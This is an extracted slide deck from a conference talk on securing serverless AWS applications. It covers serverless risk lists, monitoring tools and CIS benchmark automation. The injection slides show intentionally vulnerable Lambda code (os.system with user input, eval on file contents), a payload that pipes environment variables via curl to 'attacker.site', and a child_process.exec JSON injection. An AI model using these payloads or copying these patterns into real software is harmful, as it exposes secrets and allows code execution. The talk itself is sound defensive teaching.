Deploy Security Controls for Serverless Apps with Infrastructure as Code Tools

Luis Colon (licolon@amazon.com)
Senior Developer Advocate, AWS CloudFormation
Twitter: @luiscolon1
Agenda

• Serverless security compared to traditional apps
• Top security concerns for serverless, with examples
• Monitoring
• Tools to harden and automate controls
• Additional advice
Securing Serverless Applications

#SERVERLESS

SO HOT RIGHT NOW!

#VelocityConf @luiscolon1
Securing Serverless Applications

#VelocityConf @luiscolon1
## Securing Serverless Applications

<table>
<thead>
<tr>
<th>BETTER</th>
<th>NEUTRAL</th>
<th>WORSE</th>
</tr>
</thead>
<tbody>
<tr>
<td>No unpatched servers, no vulnerable binaries</td>
<td>Vulnerable Application dependencies bundled in</td>
<td>Security monitoring becomes extremely hard</td>
</tr>
<tr>
<td>Denial of Service becomes a billing issue</td>
<td>Vulnerabilities in your code are still there</td>
<td>Greater flexibility leads to greater attack surface</td>
</tr>
<tr>
<td>Immutability eliminates compromised servers</td>
<td>Data “at rest” equally accessible</td>
<td>Third party services &amp; data “in transit”</td>
</tr>
</tbody>
</table>

#VelocityConf @luiscolon1
## OWASP Top 10

<table>
<thead>
<tr>
<th>OWASP Top 10 – 2010 (Previous)</th>
<th>OWASP Top 10 – 2013 (Previous)</th>
<th>OWASP Top 10 – 2017 (New)</th>
</tr>
</thead>
<tbody>
<tr>
<td>A3 – Broken Authentication and Session Management</td>
<td>A2 – Broken Authentication and Session Management</td>
<td>A2 – Broken Authentication and Session Management</td>
</tr>
<tr>
<td>A2 – Cross-Site Scripting (XSS)</td>
<td>A3 – Cross-Site Scripting (XSS)</td>
<td>A3 – Cross-Site Scripting (XSS)</td>
</tr>
<tr>
<td>A7 – Insecure Cryptographic Storage – Merged with A9</td>
<td>A6 – Sensitive Data Exposure</td>
<td>A6 – Sensitive Data Exposure</td>
</tr>
<tr>
<td>A8 – Failure to Restrict URL Access – Broadened</td>
<td>A7 – Missing Function Level Access Control - Merged with A4</td>
<td>A7 – Insufficient Attack Protection (NEW)</td>
</tr>
<tr>
<td>A5 – Cross-Site Request Forgery (CSRF)</td>
<td>A8 – Cross-Site Request Forgery (CSRF)</td>
<td>A8 – Cross-Site Request Forgery (CSRF)</td>
</tr>
<tr>
<td>&lt;buried in A6: Security Misconfiguration&gt;</td>
<td>A9 – Using Components with Known Vulnerabilities</td>
<td>A9 – Using Components with Known Vulnerabilities</td>
</tr>
<tr>
<td>A10 – Unvalidated Redirects and Forwards</td>
<td>A10 – Unvalidated Redirects and Forwards - Dropped</td>
<td>A10 – Underprotected APIs (NEW)</td>
</tr>
</tbody>
</table>
10 Most Critical Security Risks in Server Architectures

SAS-1: Function Event Data Injection
SAS-2: Broken Authentication
SAS-3: Insecure Serverless Deployment Configuration
SAS-4: Over-Privileged Function Permissions & Roles
SAS-5: Inadequate Function Monitoring and Logging
SAS-6: Insecure 3rd Party Dependencies
SAS-7: Insecure Application Secrets Storage
SAS-8: Denial of Service & Financial Resource Exhaustion
SAS-9: Serverless Function Execution Flow Manipulation
SAS-10: Improper Exception Handling andVerbose Error Messages

#VelocityConf @luiscolon1
Insecure 3rd Party Dependencies

```javascript
'use strict';

const fetch = require('node-fetch');
const AWS = require('aws-sdk'); // eslint-disable-line import/no-extraneous-dependencies

const s3 = new AWS.S3();

module.exports.save = (event, context, callback) => {
    fetch(event.image_url)
        .then((response) => {
            if (response.ok) {
                return response;
            }
            return Promise.reject(new Error(
                'Failed to fetch ${response.url}: ${response.status} ${response.statusText}');
            )
        })
        .then(response => response.buffer())
        .then(buffer => (
            s3.putObject({
                Bucket: process.env.BUCKET,
                Key: event.key,
                Body: buffer,
            }).promise()
        ))
        .then(v => callback(null, v), callback);
```
Insecure 3rd Party Dependencies

```javascript
'use strict';

const fetch = require('node-fetch');
const AWS = require('aws-sdk'); // eslint-disable-line import/no-extraneous-dependencies

const s3 = new AWS.S3();

module.exports.save = (event, context, callback) => {
  fetch(event.image_url)
    .then((response) => {
      if (response.ok) {
        return response;
      }
      return Promise.reject(new Error(`Failed to fetch ${response.url}: ${response.status} ${response.statusText}`));
    })
    .then(response => response.buffer())
    .then(buffer => {
      s3.putObject({
        Bucket: process.env.BUCKET,
        Key: event.key,
        Body: buffer,
      }).promise()
    })
    .then(v => callback(null, v), callback);
```

```
"dependencies": {
  "aws-sdk": "^2.7.9",
  "node-fetch": "^1.6.3"
}
```
Insecure 3rd Party Dependencies

```
const fetch = require('node-fetch');
const AWS = require('aws-sdk'); // eslint-disable-line import/no-extraneous-dependencies

const s3 = new AWS.S3();

module.exports.save = (event, context, callback) => {
  fetch(event.image_url)
    .then((response) => {
      if (response.ok) {
        return response;
      }
      return Promise.reject(new Error(`Failed to fetch ${response.url}: ${response.status} ${response.statusText}`));
    })
    .then(response => response.buffer())
    .then(buffer => {
      s3.putObject({
        Bucket: process.env.BUCKET,
        Key: event.key,
        Body: buffer,
      }).promise()
    })
    .then((v) => callback(null, v), callback);

"dependencies": {
  "aws-sdk": "^2.7.9",
  "node-fetch": "^1.6.3"
}
```

2 Direct
19 Indirect
~191k LOC

#VelocityConf @luiscolon1
Avoiding Injection

```python
def report_handler(session, message):
    try:
        email = message
        _, temp_path = tempfile.mkstemp()
        with open(temp_path, "w") as tmp:
            tmp.write("balance: %s" % session.account.balance)
        ses = boto3.client("ses")

        # Store the report file in /tmp/ under the email address as file name
        filename = "/tmp/%s.tar.gz" % email

        # Pack the report contents
        command = "tar -czvf %s %s" % (filename, temp_path)
        os.system(command)

        # Prepare email message
        msg = MIME_Multipart()
        msg['Subject'] = "Account Report"

        # Attach the report to the email
        part = MIMEApplication(open(filename, "rb").read())
        part.add_header('Content-Disposition', 'attachment', filename=filename)
        msg.attach(part)
        ses.send_raw_email(
            RawMessage={
                'Data': msg.as_string(),
            },
            Source='robot@some.site',
            Destinations=[email]
        )
        result = "email sent!"
    except Exception, e:
        result = e.message
finally:
```

#VelocityConf @luiscolon1
Avoiding Injection

```python
def report_handler(session, message):
    try:
        email = message
        _, temp_path = tempfile.mkstemp()
        with open(temp_path, "w") as tmp:
            tmp.write("balance: %s" % session.account.balance)
        ses = boto3.client("ses")

        # Store the report file in /tmp/ under the email address as file name
        filename = "/tmp/%s.tar.gz" % email

        # Pack the report contents
        command = "tar -czvf %s %s " % (filename, temp_path)
        os.system(command)

        # Prepare email message
        msg = MIMEMessage()
        msg['Subject'] = 'Report Attached'
        # Attach the report
        part = MIMEApplication(open(temp_path).read())
        part.add_header('Content-Disposition', 'attachment', filename=os.path.basename(temp_path))
        msg.attach(part)
        ses.send_raw_email(
            RawMessage={
                'Data': msg.as_string(),
            },
            Source='robot@some.site',
            Destinations=[email]
        )
        result = "email sent!"
    except Exception, e:
        result = e.message
finally:
```

```bash
foobar@some.site; env | curl -H "Content-Type: text/plain" -X POST -d @- http://attacker.site/collector
```

#VelocityConf @luiscolon1
Avoiding Injection

```javascript
var AWS = require('aws-sdk');
var s3 = new AWS.S3();

exports.handler = (event, context, callback) => {

  // Retrieve the name of the bucket and file (key) from the event
  var src_bkt = event.Records[0].s3.bucket.name;
  var src_key = event.Records[0].s3.object.key;

  // Open the file and read the contents
  s3.getObject({
    Bucket: src_bkt,
    Key: src_key}, function (err, data) {
      if (err) {
        console.log(err, err.stack);
        callback(err);
      } else {
        // De-serialize the JSON string back into and object
        var fileObj = eval('(' + data.Body.toString('ascii') + ')');
        // ...
      }
    });
```

#VelocityConf @luiscolon1
Avoiding Injection

```
var AWS = require('aws-sdk');
var s3 = new AWS.S3();
exports.handler = (event, context, callback) => {

  // Retrieve the name of the bucket and file (key) from the event
  var src_bkt = event.Records[0].s3.bucket.name;
  var src_key = event.Records[0].s3.object.key;

  // Open the file and read the contents
  s3.getObject({
    Bucket: src_bkt,
    Key: src_key}, function (err, data) {
      if (err)
        {
          console.log(err, err.stack);
          callback(err);
        }
      else
      {
        // De-serialize the JSON string back into and object
        var fileObj = eval('(' + data.Body.toString('ascii') + ')');
        // ...
        {
          "username": "foobar" + require('child_process').exec('uname -a')
        });
    }
};
```

Use JSON.parse() instead

#VelocityConf @luiscolon1
Flow Manipulation

#VelocityConf @luiscolon1
Monitoring and Logging

I AM MONITORING THE NETWORK!

WHEN THE MUSIC STOPS PLAYING THE INTERNET IS DOWN!

#VelocityConf @luiscolon1
Monitoring and Logging

- AWS CloudWatch
- AWS CloudTrail
- AWS Config
- AWS ConfigRules
- AWS X-Ray
- Amazon Macie
- Dashbird

...no need to write your own

#VelocityConf @luiscolon1
Monitoring and Logging

- AWS CloudWatch
- AWS CloudTrail
- AWS Config
- AWS ConfigRules
- AWS X-Ray
- Amazon Macie
- Dashbird
- …no need to write your own

#VelocityConf @luiscolon1
Monitoring and Logging

- AWS CloudWatch
- AWS CloudTrail
- AWS Config
- AWS ConfigRules
- AWS X-Ray
- Amazon Macie
- Dashbird
- …no need to write your own

#VelocityConf @luiscolon1
I WAS TOLD

THERE WOULD BE AUTOMATION
# Automating Controls: CIS AWS Foundations

<table>
<thead>
<tr>
<th>CIS AWS Foundations Benchmarks v1.0-31-10-2017</th>
<th>Description of AWS Implementation</th>
</tr>
</thead>
</table>

## 1 Identity and Access Management

1.1 Avoid the use of the "root" account (Not Scored)

- Description: The Quick start does not provide any implementation for this control.
- CIS AWS Foundations Benchmarks Controls: We recommend that Root accounts should not be used. Instead, customers should leverage IAM Groups, Roles and Users to grant permissions.

1.2 Ensure multi-factor authentication (MFA) is enabled for all IAM users that have a password (Scored)

- Description: This control is implemented as a Config rule backed by a custom lambda function. The config rule reports back the compliance status of IAM users against this control. The Config rule DOES NOT enforce this control by enabling MFA for any of the IAM users.
- CIS AWS Foundations Controls: For extra security, we recommend that customers enable the config rule. Refer to IAM Best Practices at the following link: http://docs.aws.amazon.com/IAM/latest/UserGuide/IAM安全管理.html#iam-mfa

1.3 Ensure credentials unused for 90 days or greater are disabled (Scored)

- Description: This control is implemented as a Config rule backed by a custom lambda function. The config rule reports back the compliance status of IAM users' credentials against this control. The Config rule DOES NOT enforce this control by disabling credentials.
- CIS AWS Foundations Controls: We recommend that unused credentials be disabled. Refer to IAM Best Practices at the following link: http://docs.aws.amazon.com/IAM/latest/UserGuide/IAM安全管理.html#iam-credentials

1.4 Ensure access keys are rotated every 90 days or less (Scored)

- Description: This control is implemented as a Config rule backed by a custom lambda function. The config rule reports back the compliance status of IAM users with active access keys against this control. The Config rule DOES NOT enforce this control by rotating the access keys.
- CIS AWS Foundations Controls: We recommend that access keys be rotated by custom. Refer to IAM Best Practices at the following link: http://docs.aws.amazon.com/IAM/latest/UserGuide/IAM安全管理.html#iam-accesskeys-rotation

If the Config rule reports NonCompliance, ensure that the documentation is updated. Refer to the document: https://d0.awsstatic.com/whitepapers/...
Automating Controls: CIS Rules

- **Prowler**
- Checks CIS
- Adds other rules
- Check per account/region

---

**Check CIS**

**Add other rules**

**Check per account/region**

---

#VelocityConf @luiscolon1
Automating Controls: CIS Benchmark on AWS with CloudFormation

This Quick Start deploys and configures a standardized architecture for the Center for Internet Security (CIS) AWS Foundations Benchmark. CIS Benchmarks are consensus-based configuration guidelines developed by experts in US government, business, industry, and academia to help organizations assess and improve security.

This Quick Start implements the CIS AWS Foundations Benchmark, which is a set of security configuration best practices for hardening AWS accounts, and provides continuous monitoring capabilities for these security configurations.

The Quick Start supports the benchmark by creating AWS Config rules, Amazon CloudWatch alarms, and CloudWatch Events rules in your AWS account. The
## AWS CloudWatch: Alarms & Rules

### Create Alarm | Add to Dashboard | Actions

<table>
<thead>
<tr>
<th>State</th>
<th>Name</th>
<th>Threshold</th>
</tr>
</thead>
<tbody>
<tr>
<td>INSUFFICIENT_DATA</td>
<td>ProductCatalog-ReadCapacityUnitsLimit-BasicAlarm</td>
<td>ConsumedReadCapacityUnits &gt;= 480 for 5 datapoints within 5 minutes</td>
</tr>
<tr>
<td>INSUFFICIENT_DATA</td>
<td>ProductCatalog-WriteCapacityUnitsLimit-BasicAlarm</td>
<td>ConsumedWriteCapacityUnits &gt;= 960 for 5 datapoints within 5 minutes</td>
</tr>
<tr>
<td>OK</td>
<td>CIS-Console Login Failures</td>
<td>ConsoleLoginFailures &gt;= 1 for 1 datapoints within 5 minutes</td>
</tr>
<tr>
<td>OK</td>
<td>CIS-IAM Root Activity</td>
<td>RootUserEventCount &gt;= 1 for 1 datapoints within 1 minute</td>
</tr>
<tr>
<td>OK</td>
<td>CIS-Console Signin Without MFA</td>
<td>ConsoleSigninWithoutMFA &gt;= 1 for 1 datapoints within 1 minute</td>
</tr>
<tr>
<td>OK</td>
<td>CIS-KMS Key Disabled or Scheduled for Deletion</td>
<td>KMSCustomerKeyDeletion &gt;= 1 for 1 datapoints within 1 minute</td>
</tr>
<tr>
<td>OK</td>
<td>CIS-Unauthorized Activity Attempt</td>
<td>UnauthorizedAttemptCount &gt;= 1 for 1 datapoints within 1 minute</td>
</tr>
</tbody>
</table>

#VelocityConf @luiscolon1
### AWS CloudWatch: Alarms & Rules

Rules route events from your AWS resources for processing by selected targets. You can create, edit, and delete rules.

<table>
<thead>
<tr>
<th>Status</th>
<th>Name</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>CIS-DetectCloudTrailChanges</td>
<td>Publishes formatted CloudTrail change events to an SNS topic</td>
</tr>
<tr>
<td></td>
<td>CIS-DetectConfigChanges</td>
<td>Publishes formatted Config change events to an SNS topic</td>
</tr>
<tr>
<td></td>
<td>CIS-DetectIamPolicyChanges</td>
<td>Publishes formatted IAM policy change events to an SNS topic</td>
</tr>
<tr>
<td></td>
<td>CIS-DetectNetworkAclChanges</td>
<td>Publishes formatted network ACL change events to an SNS topic</td>
</tr>
<tr>
<td></td>
<td>CIS-DetectNetworkChangeEvents</td>
<td>Publishes formatted network change events to an SNS topic</td>
</tr>
<tr>
<td></td>
<td>CIS-DetectS3BucketPolicyChanges</td>
<td>Publishes formatted S3 bucket policy change events to an SNS topic</td>
</tr>
<tr>
<td></td>
<td>CIS-DetectSecurityGroupChanges</td>
<td>Publishes formatted security group change events to an SNS topic</td>
</tr>
</tbody>
</table>
AWS Config Rules

Config Dashboard

Resources

<table>
<thead>
<tr>
<th>Total resource count</th>
<th>166</th>
</tr>
</thead>
<tbody>
<tr>
<td>Top 10 resource types</td>
<td></td>
</tr>
<tr>
<td>IAM Role</td>
<td>35</td>
</tr>
<tr>
<td>Lambda Function</td>
<td>21</td>
</tr>
<tr>
<td>IAM Policy</td>
<td>15</td>
</tr>
<tr>
<td>S3 Bucket</td>
<td>15</td>
</tr>
<tr>
<td>EC2 Subnet</td>
<td>14</td>
</tr>
<tr>
<td>EC2 Route Table</td>
<td>10</td>
</tr>
<tr>
<td>CloudFormation Stack</td>
<td>9</td>
</tr>
<tr>
<td>RDS DBSnapshot</td>
<td>8</td>
</tr>
<tr>
<td>CloudWatch Alarm</td>
<td>8</td>
</tr>
<tr>
<td>EC2 NetworkAcl</td>
<td>5</td>
</tr>
</tbody>
</table>

View all 166 resources

Config rule compliance

- 11 noncompliant rule(s)

Resource compliance

- 15 noncompliant resource(s)

Top 5 noncompliant rules

<table>
<thead>
<tr>
<th>Rule name</th>
<th>Compliance</th>
</tr>
</thead>
<tbody>
<tr>
<td>CIS-EvaluateVpcFlowLogs</td>
<td>3 noncompliant resource(s)</td>
</tr>
<tr>
<td>CIS-VpcDefaultSecurityGroupsMustRestrictAllTraffic</td>
<td>3 noncompliant resource(s)</td>
</tr>
<tr>
<td>CIS-CloudTrailBucketMustBeSecure</td>
<td>2 noncompliant resource(s)</td>
</tr>
<tr>
<td>CIS-CloudTrailLogsMustBeValidatedAndEncrypted</td>
<td>2 noncompliant resource(s)</td>
</tr>
<tr>
<td>CIS-CloudTrailMustBeActive</td>
<td>2 noncompliant resource(s)</td>
</tr>
</tbody>
</table>

View all 11 noncompliant rules

#VelocityConf @luiscolon1
# AWS Config Rules

<table>
<thead>
<tr>
<th>Rule name</th>
<th>Compliance</th>
<th>Edit rule</th>
</tr>
</thead>
<tbody>
<tr>
<td>CIS-IamPasswordPolicyMustMeetRequirements</td>
<td>1 noncompliant resource(s)</td>
<td></td>
</tr>
<tr>
<td>restricted-ssh</td>
<td>1 noncompliant resource(s)</td>
<td></td>
</tr>
<tr>
<td>CIS-UsersMustNotHaveAssociatedPolicies</td>
<td>1 noncompliant resource(s)</td>
<td></td>
</tr>
<tr>
<td>CIS-KmsCustomerKeysMustBeRotated</td>
<td>Compliant</td>
<td></td>
</tr>
<tr>
<td>CIS-DisableUnusedCredentials</td>
<td>Compliant</td>
<td></td>
</tr>
<tr>
<td>CIS-EvaluateFullAdminPrivilagesPolicies</td>
<td>Compliant</td>
<td></td>
</tr>
<tr>
<td>CIS-RotateAccessKeys</td>
<td>Compliant</td>
<td></td>
</tr>
<tr>
<td>CIS-InstancesMustUseIamRoles</td>
<td>Compliant</td>
<td></td>
</tr>
<tr>
<td>CIS-UsersMustHaveMfaEnabled</td>
<td>Compliant</td>
<td></td>
</tr>
<tr>
<td>CIS-AwsSupportRoleExists</td>
<td>Compliant</td>
<td></td>
</tr>
<tr>
<td>CIS-VpcPeeringRouteTablesMustBeLeastAccess</td>
<td>No results available</td>
<td></td>
</tr>
</tbody>
</table>

# VelocityConf @luiscolon1
# AWS Lambda Functions for Rules

<table>
<thead>
<tr>
<th>Function Name</th>
<th>Description</th>
<th>Runtime</th>
<th>Code Size</th>
<th>Last Modified</th>
</tr>
</thead>
<tbody>
<tr>
<td>CIS-EvaluateCISBenchmarkPreconditions</td>
<td>Evaluates preconditions for CIS benchmarking</td>
<td>Python 2.7</td>
<td>1.5 kB</td>
<td>4 days ago</td>
</tr>
<tr>
<td>CIS-EvaluateUserPolicyAssociations</td>
<td>Evaluates whether users have policies associated with them. Users should inherit permissions from groups instead.</td>
<td>Python 2.7</td>
<td>811 bytes</td>
<td>4 days ago</td>
</tr>
<tr>
<td>cis-1-11-test-PreRequisite-ConfigurationRecorderSan-16DHNAUDUGKYPPJ</td>
<td>Deletes existig Delivery Channels if any</td>
<td>Python 2.7</td>
<td>1.6 kB</td>
<td>4 days ago</td>
</tr>
<tr>
<td>CIS-EvaluateInstanceRoleUse</td>
<td>Evaluates whether instances use instance roles</td>
<td>Python 2.7</td>
<td>688 bytes</td>
<td>4 days ago</td>
</tr>
<tr>
<td>CIS-EvaluateVpcFlowLogs</td>
<td>Evaluates whether VPC flow logging is enabled</td>
<td>Python 2.7</td>
<td>649 bytes</td>
<td>4 days ago</td>
</tr>
<tr>
<td>CIS-EvaluateVpcPeeringRouteTables</td>
<td>Evaluates whether VPC peered route tables are least access</td>
<td>Python 2.7</td>
<td>730 bytes</td>
<td>4 days ago</td>
</tr>
<tr>
<td>heyworld-dev</td>
<td></td>
<td>Python 2.7</td>
<td>9.0 kB</td>
<td>9 months ago</td>
</tr>
<tr>
<td>CIS-GetCloudTrailCloudWatchLog</td>
<td>Function to find and return CloudWatch log name</td>
<td>Python 2.7</td>
<td>1.3 kB</td>
<td>4 days ago</td>
</tr>
<tr>
<td>CIS-EvaluateCloudTrailBucket</td>
<td>Evaluates whether access logging is enabled on the CloudTrail S3 bucket and the S3 bucket is not publicly accessible for CIS 2.3, 2.6</td>
<td>Python 2.7</td>
<td>1019 bytes</td>
<td>4 days ago</td>
</tr>
<tr>
<td>CIS-EvaluateCloudTrail</td>
<td>Evaluates whether CloudTrail has appropriate security properties. Meets CIS 2.1, 2.4</td>
<td>Python 2.7</td>
<td>1.2 kB</td>
<td>4 days ago</td>
</tr>
</tbody>
</table>

#VelocityConf @luiscolon1
Additional Tips

#VelocityConf @luiscolon1
Authentication and Permissions

- Reuse existing systems
  - AWS Cognito
  - Auth0
  - JWT

- Least Privilege
  - No * in IAM policies
  - No individual permissions (use roles/groups)
  - Per function

- Single responsibility

- Protect secrets
  - Don’t expose in logs, code or alerts

- Encryption
  - Rotate keys to mitigate events
Assume the worst

- Use the tools at your disposal
- Your own audits
  - Log logins, failed logins, account changes (password changes, email changes), confirm db transactions…
  - Have thresholds on logins from an address, db connections, queries per second
- DoW
- Chaos engineering
- Rotate credentials
  - Separate credentials and policies for different functions
  - Remove unused functions
- Harden accounts and environments
- Automate your controls

#VelocityConf @luiscolon1
Summary

- With serverless, you have a few less things to worry about, but still plenty of things…
- Many standard best practices apply
- Improve controls, logging, monitoring, etc. incrementally and on an ongoing basis
- Automate your controls
- Leverage the many tools available
Further Reading

- Securing Serverless - a Newbie's Guide
  - https://www.jeremydaly.com/securing-serverless-a-newbies-guide/
- Yan Cui’s “Many-faced threats to Serverless security” – October 25, 2017
- Hacking Serverless Runtimes whitepaper - Andrew Krug and Graham Jones – July 15, 2017
- Serverless Security implications—from infra to OWASP - Guy Podjarny – April 19, 2017
- The Ten Most Critical Security Risks in Serverless Architectures - PureSec – January 17, 2018
- AWS Doc: Lambda Best Practices

#VelocityConf @luiscolon1
Links

• Detect vulnerabilities on your dependencies [https://snyk.io/](https://snyk.io/)
• Prowler for CLI checks: [https://github.com/toniblyx/prowler](https://github.com/toniblyx/prowler)
  • [https://github.com/awslabs/aws-security-benchmark](https://github.com/awslabs/aws-security-benchmark)
• [https://medium.com/dashbird/is-your-serverless-as-good-as-you-think-it-is-2baa3d36b1de](https://medium.com/dashbird/is-your-serverless-as-good-as-you-think-it-is-2baa3d36b1de)
• [https://medium.com/@fastup/aws-iam-for-serverless-development-ba24be03cd2](https://medium.com/@fastup/aws-iam-for-serverless-development-ba24be03cd2)

#VelocityConf @luiscolon1
Thanks :)

Luis Colon, Sr. Developer Advocate, AWS CloudFormation
licolon@amazon.com

#VelocityConf @luiscolon1